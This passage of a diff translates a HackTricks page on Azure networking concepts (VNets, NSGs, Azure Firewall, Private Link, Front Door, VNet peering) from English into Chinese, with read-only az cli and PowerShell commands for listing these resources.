||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,31 +2,30 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure provides **virtual networks (VNet)** that allows users to create **isolated** **networks** within the Azure cloud. Within these VNets, resources such as virtual machines, applications, databases... can be securely hosted and managed. The networking in Azure supports both the communication within the cloud (between Azure services) and the connection to external networks and the internet.\
|
||||
Moreover, it's possible to **connect** VNets with other VNets and with on-premise networks.
|
||||
Azure 提供 **虚拟网络 (VNet)**,允许用户在 Azure 云中创建 **隔离的** **网络**。在这些 VNets 中,可以安全地托管和管理虚拟机、应用程序、数据库等资源。Azure 中的网络支持云内通信(在 Azure 服务之间)以及与外部网络和互联网的连接。\
|
||||
此外,可以 **连接** VNets 与其他 VNets 以及本地网络。
|
||||
|
||||
## Virtual Network (VNET) & Subnets
|
||||
## 虚拟网络 (VNET) 和子网
|
||||
|
||||
An Azure Virtual Network (VNet) is a representation of your own network in the cloud, providing **logical isolation** within the Azure environment dedicated to your subscription. VNets allow you to provision and manage virtual private networks (VPNs) in Azure, hosting resources like Virtual Machines (VMs), databases, and application services. They offer **full control over network settings**, including IP address ranges, subnet creation, route tables, and network gateways.
|
||||
Azure 虚拟网络 (VNet) 是您在云中自己网络的表示,提供在 Azure 环境中专门为您的订阅而设的 **逻辑隔离**。VNets 允许您在 Azure 中配置和管理虚拟专用网络 (VPN),托管虚拟机 (VM)、数据库和应用服务等资源。它们提供 **对网络设置的完全控制**,包括 IP 地址范围、子网创建、路由表和网络网关。
|
||||
|
||||
**Subnets** are subdivisions within a VNet, defined by specific **IP address ranges**. By segmenting a VNet into multiple subnets, you can organize and secure resources according to your network architecture.\
|
||||
By default all subnets within the same Azure Virtual Network (VNet) **can communicate with each other** without any restrictions.
|
||||
**子网** 是 VNet 内的细分,由特定的 **IP 地址范围** 定义。通过将 VNet 划分为多个子网,您可以根据网络架构组织和保护资源。\
|
||||
默认情况下,同一 Azure 虚拟网络 (VNet) 内的所有子网 **可以相互通信**,没有任何限制。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
- `MyVNet` with an IP address range of 10.0.0.0/16.
|
||||
- **Subnet-1:** 10.0.0.0/24 for web servers.
|
||||
- **Subnet-2:** 10.0.1.0/24 for database servers.
|
||||
- `MyVNet` 的 IP 地址范围为 10.0.0.0/16。
|
||||
- **子网-1:** 10.0.0.0/24 用于 Web 服务器。
|
||||
- **子网-2:** 10.0.1.0/24 用于数据库服务器。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
To list all the VNets and subnets in an Azure account, you can use the Azure Command-Line Interface (CLI). Here are the steps:
|
||||
要列出 Azure 账户中的所有 VNets 和子网,可以使用 Azure 命令行界面 (CLI)。以下是步骤:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List VNets
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"
|
||||
@@ -34,10 +33,8 @@ az network vnet list --query "[].{name:name, location:location, addressSpace:add
|
||||
# List subnets of a VNet
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
@@ -47,26 +44,24 @@ Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName> |
|
||||
Select-Object -ExpandProperty Subnets |
|
||||
Select-Object Name, AddressPrefix
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Network Security Groups (NSG)
|
||||
## 网络安全组 (NSG)
|
||||
|
||||
A **Network Security Group (NSG)** filters network traffic both to and from Azure resources within an Azure Virtual Network (VNet). It houses a set of **security rules** that can indicate **which ports to open for inbound and outbound traffic** by source port, source IP, port destination and it's possible to assign a priority (the lower the priority number, the higher the priority).
|
||||
一个 **网络安全组 (NSG)** 过滤 Azure 虚拟网络 (VNet) 内 Azure 资源的网络流量。它包含一组 **安全规则**,可以指示 **哪些端口应为入站和出站流量开放**,通过源端口、源 IP、端口目标,并且可以分配优先级(优先级数字越低,优先级越高)。
|
||||
|
||||
NSGs can be associated to **subnets and NICs.**
|
||||
NSG 可以与 **子网和 NIC 关联。**
|
||||
|
||||
**Rules example:**
|
||||
**规则示例:**
|
||||
|
||||
- An inbound rule allowing HTTP traffic (port 80) from any source to your web servers.
|
||||
- An outbound rule allowing only SQL traffic (port 1433) to a specific destination IP address range.
|
||||
- 一个入站规则,允许来自任何源的 HTTP 流量(端口 80)到您的 Web 服务器。
|
||||
- 一个出站规则,仅允许 SQL 流量(端口 1433)到特定的目标 IP 地址范围。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List NSGs
|
||||
az network nsg list --query "[].{name:name, location:location}" -o table
|
||||
@@ -78,10 +73,8 @@ az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupNam
|
||||
# Get NICs and subnets using this NSG
|
||||
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
@@ -93,31 +86,29 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
# Get NICs and subnets using this NSG
|
||||
(Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall is a **managed network security service** in Azure that protects cloud resources by inspecting and controlling traffic. It is a **stateful firewall** that filters traffic based on rules for Layers 3 to 7, supporting communication both **within Azure** (east-west traffic) and **to/from external networks** (north-south traffic). Deployed at the **Virtual Network (VNet) level**, it provides centralized protection for all subnets in the VNet. Azure Firewall automatically scales to handle traffic demands and ensures high availability without requiring manual setup.
|
||||
Azure Firewall 是 Azure 中的一个 **托管网络安全服务**,通过检查和控制流量来保护云资源。它是一个 **有状态防火墙**,根据第 3 层到第 7 层的规则过滤流量,支持 **在 Azure 内部**(东西向流量)和 **与外部网络之间**(南北向流量)的通信。部署在 **虚拟网络(VNet)级别**,为 VNet 中的所有子网提供集中保护。Azure Firewall 自动扩展以应对流量需求,并确保高可用性,无需手动设置。
|
||||
|
||||
It is available in three SKUs—**Basic**, **Standard**, and **Premium**, each tailored for specific customer needs:
|
||||
它提供三种 SKU——**基本版**、**标准版**和 **高级版**,每种版本都针对特定客户需求进行了定制:
|
||||
|
||||
| **Recommended Use Case** | Small/Medium Businesses (SMBs) with limited needs | General enterprise use, Layer 3–7 filtering | Highly sensitive environments (e.g., payment processing) |
|
||||
| ------------------------------ | ------------------------------------------------- | ------------------------------------------- | --------------------------------------------------------- |
|
||||
| **Performance** | Up to 250 Mbps throughput | Up to 30 Gbps throughput | Up to 100 Gbps throughput |
|
||||
| **Threat Intelligence** | Alerts only | Alerts and blocking (malicious IPs/domains) | Alerts and blocking (advanced threat intelligence) |
|
||||
| **L3–L7 Filtering** | Basic filtering | Stateful filtering across protocols | Stateful filtering with advanced inspection |
|
||||
| **Advanced Threat Protection** | Not available | Threat intelligence-based filtering | Includes Intrusion Detection and Prevention System (IDPS) |
|
||||
| **TLS Inspection** | Not available | Not available | Supports inbound/outbound TLS termination |
|
||||
| **Availability** | Fixed backend (2 VMs) | Autoscaling | Autoscaling |
|
||||
| **Ease of Management** | Basic controls | Managed via Firewall Manager | Managed via Firewall Manager |
|
||||
| **推荐用例** | 需求有限的小型/中型企业 (SMBs) | 一般企业使用,第 3 层到第 7 层过滤 | 高度敏感的环境(例如,支付处理) |
|
||||
| ------------------------------ | ------------------------------ | ---------------------------------- | --------------------------------- |
|
||||
| **性能** | 高达 250 Mbps 吞吐量 | 高达 30 Gbps 吞吐量 | 高达 100 Gbps 吞吐量 |
|
||||
| **威胁情报** | 仅警报 | 警报和阻止(恶意 IP/域名) | 警报和阻止(高级威胁情报) |
|
||||
| **第 3 层到第 7 层过滤** | 基本过滤 | 跨协议的有状态过滤 | 具有高级检查的有状态过滤 |
|
||||
| **高级威胁保护** | 不可用 | 基于威胁情报的过滤 | 包括入侵检测和防御系统 (IDPS) |
|
||||
| **TLS 检查** | 不可用 | 不可用 | 支持入站/出站 TLS 终止 |
|
||||
| **可用性** | 固定后端(2 个虚拟机) | 自动扩展 | 自动扩展 |
|
||||
| **管理简易性** | 基本控制 | 通过防火墙管理器管理 | 通过防火墙管理器管理 |
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Firewalls
|
||||
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table
|
||||
@@ -131,10 +122,8 @@ az network firewall application-rule collection list --firewall-name <FirewallNa
|
||||
# Get nat rules of a firewall
|
||||
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Firewalls
|
||||
Get-AzFirewall
|
||||
@@ -148,21 +137,19 @@ Get-AzFirewall
|
||||
# Get nat rules of a firewall
|
||||
(Get-AzFirewall -Name <FirewallName> -ResourceGroupName <ResourceGroupName>).NatRuleCollections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Route Tables
|
||||
## Azure 路由表
|
||||
|
||||
Azure **Route Tables** are used to control the routing of network traffic within a subnet. They define rules that specify how packets should be forwarded, either to Azure resources, the internet, or a specific next hop like a Virtual Appliance or Azure Firewall. You can associate a route table with a **subnet**, and all resources within that subnet will follow the routes in the table.
|
||||
Azure **路由表** 用于控制子网内网络流量的路由。它们定义了规则,指定数据包应如何转发,转发目标可以是 Azure 资源、互联网或特定的下一跳,如虚拟设备或 Azure 防火墙。您可以将路由表与 **子网** 关联,所有在该子网内的资源将遵循表中的路由。
|
||||
|
||||
**Example:** If a subnet hosts resources that need to route outbound traffic through a Network Virtual Appliance (NVA) for inspection, you can create a **route** in a route table to redirect all traffic (e.g., `0.0.0.0/0`) to the NVA's private IP address as the next hop.
|
||||
**示例:** 如果一个子网托管需要通过网络虚拟设备 (NVA) 进行检查的出站流量的资源,您可以在路由表中创建一个 **路由**,将所有流量(例如,`0.0.0.0/0`)重定向到 NVA 的私有 IP 地址作为下一跳。
|
||||
|
||||
### **Enumeration**
|
||||
### **枚举**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Route Tables
|
||||
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -170,10 +157,8 @@ az network route-table list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List routes for a table
|
||||
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Route Tables
|
||||
Get-AzRouteTable
|
||||
@@ -181,28 +166,26 @@ Get-AzRouteTable
|
||||
# List routes for a table
|
||||
(Get-AzRouteTable -Name <RouteTableName> -ResourceGroupName <ResourceGroupName>).Routes
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Private Link
|
||||
|
||||
Azure Private Link is a service in Azure that **enables private access to Azure services** by ensuring that **traffic between your Azure virtual network (VNet) and the service travels entirely within Microsoft's Azure backbone network**. It effectively brings the service into your VNet. This setup enhances security by not exposing the data to the public internet.
|
||||
Azure Private Link 是 Azure 中的一项服务,**通过确保您的 Azure 虚拟网络 (VNet) 与服务之间的流量完全在 Microsoft 的 Azure 主干网络内传输,从而实现对 Azure 服务的私有访问**。它有效地将服务引入您的 VNet。此设置通过不将数据暴露于公共互联网来增强安全性。
|
||||
|
||||
Private Link can be used with various Azure services, like Azure Storage, Azure SQL Database, and custom services shared via Private Link. It provides a secure way to consume services from within your own VNet or even from different Azure subscriptions.
|
||||
Private Link 可以与各种 Azure 服务一起使用,如 Azure Storage、Azure SQL Database 和通过 Private Link 共享的自定义服务。它提供了一种安全的方式,从您自己的 VNet 或甚至不同的 Azure 订阅中使用服务。
|
||||
|
||||
> [!CAUTION]
|
||||
> NSGs do not apply to private endpoints, which clearly means that associating an NSG with a subnet that contains the Private Link will have no effect.
|
||||
> NSG 不适用于私有端点,这清楚地意味着将 NSG 与包含 Private Link 的子网关联将没有效果。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
Consider a scenario where you have an **Azure SQL Database that you want to access securely from your VNet**. Normally, this might involve traversing the public internet. With Private Link, you can create a **private endpoint in your VNet** that connects directly to the Azure SQL Database service. This endpoint makes the database appear as though it's part of your own VNet, accessible via a private IP address, thus ensuring secure and private access.
|
||||
考虑一个场景,您有一个 **希望从您的 VNet 安全访问的 Azure SQL Database**。通常,这可能涉及穿越公共互联网。使用 Private Link,您可以在您的 VNet 中创建一个 **私有端点**,直接连接到 Azure SQL Database 服务。此端点使数据库看起来像是您自己 VNet 的一部分,可以通过私有 IP 地址访问,从而确保安全和私密的访问。
|
||||
|
||||
### **Enumeration**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Private Link Services
|
||||
az network private-link-service list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
@@ -210,10 +193,8 @@ az network private-link-service list --query "[].{name:name, location:location,
|
||||
# List Private Endpoints
|
||||
az network private-endpoint list --query "[].{name:name, location:location, resourceGroup:resourceGroup, privateLinkServiceConnections:privateLinkServiceConnections}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Private Link Services
|
||||
Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
@@ -221,23 +202,21 @@ Get-AzPrivateLinkService | Select-Object Name, Location, ResourceGroupName
|
||||
# List Private Endpoints
|
||||
Get-AzPrivateEndpoint | Select-Object Name, Location, ResourceGroupName, PrivateEndpointConnections
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Service Endpoints
|
||||
## Azure 服务端点
|
||||
|
||||
Azure Service Endpoints extend your virtual network private address space and the identity of your VNet to Azure services over a direct connection. By enabling service endpoints, **resources in your VNet can securely connect to Azure services**, like Azure Storage and Azure SQL Database, using Azure's backbone network. This ensures that the **traffic from the VNet to the Azure service stays within the Azure network**, providing a more secure and reliable path.
|
||||
Azure 服务端点扩展了您的虚拟网络私有地址空间和 VNet 的身份,通过直接连接到 Azure 服务。通过启用服务端点,**您 VNet 中的资源可以安全地连接到 Azure 服务**,如 Azure 存储和 Azure SQL 数据库,使用 Azure 的骨干网络。这确保了**从 VNet 到 Azure 服务的流量保持在 Azure 网络内**,提供了更安全和可靠的路径。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
For instance, an **Azure Storage** account by default is accessible over the public internet. By enabling a **service endpoint for Azure Storage within your VNet**, you can ensure that only traffic from your VNet can access the storage account. The storage account firewall can then be configured to accept traffic only from your VNet.
|
||||
例如,**Azure 存储**帐户默认可以通过公共互联网访问。通过在您的 VNet 中启用**Azure 存储的服务端点**,您可以确保只有来自您 VNet 的流量可以访问存储帐户。然后可以配置存储帐户防火墙,仅接受来自您 VNet 的流量。
|
||||
|
||||
### **Enumeration**
|
||||
### **枚举**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Virtual Networks with Service Endpoints
|
||||
az network vnet list --query "[].{name:name, location:location, serviceEndpoints:serviceEndpoints}" -o table
|
||||
@@ -245,10 +224,8 @@ az network vnet list --query "[].{name:name, location:location, serviceEndpoints
|
||||
# List Subnets with Service Endpoints
|
||||
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, serviceEndpoints:serviceEndpoints}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Virtual Networks with Service Endpoints
|
||||
Get-AzVirtualNetwork
|
||||
@@ -256,49 +233,47 @@ Get-AzVirtualNetwork
|
||||
# List Subnets with Service Endpoints
|
||||
(Get-AzVirtualNetwork -ResourceGroupName <ResourceGroupName> -Name <VNetName>).Subnets
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Differences Between Service Endpoints and Private Links
|
||||
### 服务端点与私有链接之间的区别
|
||||
|
||||
Microsoft recommends using Private Links in the [**docs**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints):
|
||||
Microsoft建议在[**文档**](https://learn.microsoft.com/en-us/azure/virtual-network/vnet-integration-for-azure-services#compare-private-endpoints-and-service-endpoints)中使用私有链接:
|
||||
|
||||
<figure><img src="../../../../images/image (25).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Service Endpoints:**
|
||||
**服务端点:**
|
||||
|
||||
- Traffic from your VNet to the Azure service travels over the Microsoft Azure backbone network, bypassing the public internet.
|
||||
- The endpoint is a direct connection to the Azure service and does not provide a private IP for the service within the VNet.
|
||||
- The service itself is still accessible via its public endpoint from outside your VNet unless you configure the service firewall to block such traffic.
|
||||
- It's a one-to-one relationship between the subnet and the Azure service.
|
||||
- Less expensive than Private Links.
|
||||
- 从您的VNet到Azure服务的流量通过Microsoft Azure骨干网络传输,绕过公共互联网。
|
||||
- 端点是与Azure服务的直接连接,并未为VNet内的服务提供私有IP。
|
||||
- 除非您配置服务防火墙以阻止此类流量,否则服务本身仍可通过其公共端点从VNet外部访问。
|
||||
- 子网与Azure服务之间是一对一的关系。
|
||||
- 比私有链接便宜。
|
||||
|
||||
**Private Links:**
|
||||
**私有链接:**
|
||||
|
||||
- Private Link maps Azure services into your VNet via a private endpoint, which is a network interface with a private IP address within your VNet.
|
||||
- The Azure service is accessed using this private IP address, making it appear as if it's part of your network.
|
||||
- Services connected via Private Link can be accessed only from your VNet or connected networks; there's no public internet access to the service.
|
||||
- It enables a secure connection to Azure services or your own services hosted in Azure, as well as a connection to services shared by others.
|
||||
- It provides more granular access control via a private endpoint in your VNet, as opposed to broader access control at the subnet level with service endpoints.
|
||||
- 私有链接通过私有端点将Azure服务映射到您的VNet,该私有端点是VNet内具有私有IP地址的网络接口。
|
||||
- 使用此私有IP地址访问Azure服务,使其看起来像是您网络的一部分。
|
||||
- 通过私有链接连接的服务只能从您的VNet或连接的网络访问;没有公共互联网访问服务。
|
||||
- 它为Azure服务或您在Azure中托管的自有服务提供安全连接,以及与他人共享的服务的连接。
|
||||
- 它通过VNet中的私有端点提供更细粒度的访问控制,而不是通过服务端点在子网级别提供更广泛的访问控制。
|
||||
|
||||
In summary, while both Service Endpoints and Private Links provide secure connectivity to Azure services, **Private Links offer a higher level of isolation and security by ensuring that services are accessed privately without exposing them to the public internet**. Service Endpoints, on the other hand, are easier to set up for general cases where simple, secure access to Azure services is required without the need for a private IP in the VNet.
|
||||
总之,虽然服务端点和私有链接都提供安全的Azure服务连接,**私有链接通过确保服务以私有方式访问而不暴露于公共互联网,提供了更高水平的隔离和安全性**。另一方面,服务端点在一般情况下更易于设置,适用于需要简单、安全访问Azure服务而不需要VNet中的私有IP的场景。
|
||||
|
||||
## Azure Front Door (AFD) & AFD WAF
|
||||
|
||||
**Azure Front Door** is a scalable and secure entry point for **fast delivery** of your global web applications. It **combines** various services like global **load balancing, site acceleration, SSL offloading, and Web Application Firewall (WAF)** capabilities into a single service. Azure Front Door provides intelligent routing based on the **closest edge location to the user**, ensuring optimal performance and reliability. Additionally, it offers URL-based routing, multiple-site hosting, session affinity, and application layer security.
|
||||
**Azure Front Door** 是一个可扩展且安全的入口点,用于**快速交付**您的全球Web应用程序。它**结合**了全球**负载均衡、站点加速、SSL卸载和Web应用防火墙(WAF)**功能于一体。Azure Front Door根据**离用户最近的边缘位置**提供智能路由,确保最佳性能和可靠性。此外,它还提供基于URL的路由、多站点托管、会话亲和性和应用层安全性。
|
||||
|
||||
**Azure Front Door WAF** is designed to **protect web applications from web-based attacks** without modification to back-end code. It includes custom rules and managed rule sets to protect against threats such as SQL injection, cross-site scripting, and other common attacks.
|
||||
**Azure Front Door WAF**旨在**保护Web应用程序免受基于Web的攻击**,无需修改后端代码。它包括自定义规则和托管规则集,以防御SQL注入、跨站脚本和其他常见攻击等威胁。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
Imagine you have a globally distributed application with users all around the world. You can use Azure Front Door to **route user requests to the nearest regional data center** hosting your application, thus reducing latency, improving user experience and **defending it from web attacks with the WAF capabilities**. If a particular region experiences downtime, Azure Front Door can automatically reroute traffic to the next best location, ensuring high availability.
|
||||
想象一下,您有一个全球分布的应用程序,用户遍布世界各地。您可以使用Azure Front Door来**将用户请求路由到最近的区域数据中心**,从而托管您的应用程序,减少延迟,改善用户体验,并**利用WAF功能保护其免受Web攻击**。如果某个特定区域发生停机,Azure Front Door可以自动将流量重新路由到下一个最佳位置,确保高可用性。
|
||||
|
||||
### Enumeration
|
||||
### 枚举
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List Azure Front Door Instances
|
||||
az network front-door list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
@@ -306,10 +281,8 @@ az network front-door list --query "[].{name:name, resourceGroup:resourceGroup,
|
||||
# List Front Door WAF Policies
|
||||
az network front-door waf-policy list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List Azure Front Door Instances
|
||||
Get-AzFrontDoor
|
||||
@@ -317,58 +290,52 @@ Get-AzFrontDoor
|
||||
# List Front Door WAF Policies
|
||||
Get-AzFrontDoorWafPolicy -Name <policyName> -ResourceGroupName <resourceGroupName>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Application Gateway and Azure Application Gateway WAF
|
||||
## Azure 应用程序网关和 Azure 应用程序网关 WAF
|
||||
|
||||
Azure Application Gateway is a **web traffic load balancer** that enables you to manage traffic to your **web** applications. It offers **Layer 7 load balancing, SSL termination, and web application firewall (WAF) capabilities** in the Application Delivery Controller (ADC) as a service. Key features include URL-based routing, cookie-based session affinity, and secure sockets layer (SSL) offloading, which are crucial for applications that require complex load-balancing capabilities like global routing and path-based routing.
|
||||
Azure 应用程序网关是一个 **网络流量负载均衡器**,使您能够管理对您的 **网络** 应用程序的流量。它在应用程序交付控制器 (ADC) 中提供 **第 7 层负载均衡、SSL 终止和网络应用程序防火墙 (WAF) 功能**。主要功能包括基于 URL 的路由、基于 cookie 的会话亲和性和安全套接字层 (SSL) 卸载,这些对于需要复杂负载均衡能力的应用程序至关重要,例如全球路由和基于路径的路由。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
Consider a scenario where you have an e-commerce website that includes multiple subdomains for different functions, such as user accounts and payment processing. Azure Application Gateway can **route traffic to the appropriate web servers based on the URL path**. For example, traffic to `example.com/accounts` could be directed to the user accounts service, and traffic to `example.com/pay` could be directed to the payment processing service.\
|
||||
And **protect your website from attacks using the WAF capabilities.**
|
||||
考虑一个场景,您有一个电子商务网站,其中包括多个子域以实现不同功能,例如用户帐户和支付处理。Azure 应用程序网关可以 **根据 URL 路径将流量路由到适当的网络服务器**。例如,流量到 `example.com/accounts` 可以被定向到用户帐户服务,而流量到 `example.com/pay` 可以被定向到支付处理服务。\
|
||||
并且 **使用 WAF 功能保护您的网站免受攻击。**
|
||||
|
||||
### **Enumeration**
|
||||
### **枚举**
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
az network application-gateway waf-config list --gateway-name <AppGatewayName> --resource-group <ResourceGroupName> --query "[].{name:name, firewallMode:firewallMode, ruleSetType:ruleSetType, ruleSetVersion:ruleSetVersion}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List the Web Application Firewall configurations for your Application Gateways
|
||||
(Get-AzApplicationGateway -Name <AppGatewayName> -ResourceGroupName <ResourceGroupName>).WebApplicationFirewallConfiguration
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Azure Hub, Spoke & VNet Peering
|
||||
|
||||
**VNet Peering** is a networking feature in Azure that **allows different Virtual Networks (VNets) to be connected directly and seamlessly**. Through VNet peering, resources in one VNet can communicate with resources in another VNet using private IP addresses, **as if they were in the same network**.\
|
||||
**VNet Peering can also used with a on-prem networks** by setting up a site-to-site VPN or Azure ExpressRoute.
|
||||
**VNet Peering** 是 Azure 中的一项网络功能,**允许不同的虚拟网络(VNets)直接无缝连接**。通过 VNet 对等连接,一个 VNet 中的资源可以使用私有 IP 地址与另一个 VNet 中的资源进行通信,**就像它们在同一网络中一样**。\
|
||||
**VNet 对等连接还可以与本地网络一起使用**,通过设置站点到站点的 VPN 或 Azure ExpressRoute。
|
||||
|
||||
**Azure Hub and Spoke** is a network topology used in Azure to manage and organize network traffic. **The "hub" is a central point that controls and routes traffic between different "spokes"**. The hub typically contains shared services such as network virtual appliances (NVAs), Azure VPN Gateway, Azure Firewall, or Azure Bastion. The **"spokes" are VNets that host workloads and connect to the hub using VNet peering**, allowing them to leverage the shared services within the hub. This model promotes clean network layout, reducing complexity by centralizing common services that multiple workloads across different VNets can use.
|
||||
**Azure Hub 和 Spoke** 是在 Azure 中用于管理和组织网络流量的网络拓扑。**“中心”是一个控制和路由不同“辐射”的流量的中心点**。中心通常包含共享服务,如网络虚拟设备(NVA)、Azure VPN 网关、Azure 防火墙或 Azure Bastion。**“辐射”是承载工作负载并通过 VNet 对等连接到中心的 VNets**,使它们能够利用中心内的共享服务。该模型促进了清晰的网络布局,通过集中多个 VNet 中的工作负载可以使用的公共服务来减少复杂性。
|
||||
|
||||
> [!CAUTION] > **VNET pairing is non-transitive in Azure**, which means that if spoke 1 is connected to spoke 2 and spoke 2 is connected to spoke 3 then spoke 1 cannot talk directly to spoke 3.
|
||||
> [!CAUTION] > **在 Azure 中,VNET 对等连接是非传递的**,这意味着如果辐射 1 连接到辐射 2,辐射 2 连接到辐射 3,则辐射 1 不能直接与辐射 3 通信。
|
||||
|
||||
**Example:**
|
||||
**示例:**
|
||||
|
||||
Imagine a company with separate departments like Sales, HR, and Development, **each with its own VNet (the spokes)**. These VNets **require access to shared resources** like a central database, a firewall, and an internet gateway, which are all located in **another VNet (the hub)**. By using the Hub and Spoke model, each department can **securely connect to the shared resources through the hub VNet without exposing those resources to the public internet** or creating a complex network structure with numerous connections.
|
||||
想象一个公司有独立的部门,如销售、HR 和开发,**每个部门都有自己的 VNet(辐射)**。这些 VNets **需要访问共享资源**,如中央数据库、防火墙和互联网网关,这些资源都位于**另一个 VNet(中心)**中。通过使用 Hub 和 Spoke 模型,每个部门可以**通过中心 VNet 安全地连接到共享资源,而不将这些资源暴露于公共互联网**或创建一个具有众多连接的复杂网络结构。
|
||||
|
||||
### Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
|
||||
```bash
|
||||
# List all VNets in your subscription
|
||||
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}" -o table
|
||||
@@ -379,10 +346,8 @@ az network vnet peering list --resource-group <ResourceGroupName> --vnet-name <V
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
az network firewall list --query "[].{name:name, location:location, resourceGroup:resourceGroup}" -o table
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
|
||||
```powershell
|
||||
# List all VNets in your subscription
|
||||
Get-AzVirtualNetwork
|
||||
@@ -393,23 +358,21 @@ Get-AzVirtualNetwork
|
||||
# List Shared Resources (e.g., Azure Firewall) in the Hub
|
||||
Get-AzFirewall
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Site-to-Site VPN
|
||||
|
||||
A Site-to-Site VPN in Azure allows you to **connect your on-premises network to your Azure Virtual Network (VNet)**, enabling resources such as VMs within Azure to appear as if they are on your local network. This connection is established through a **VPN gateway that encrypts traffic** between the two networks.
|
||||
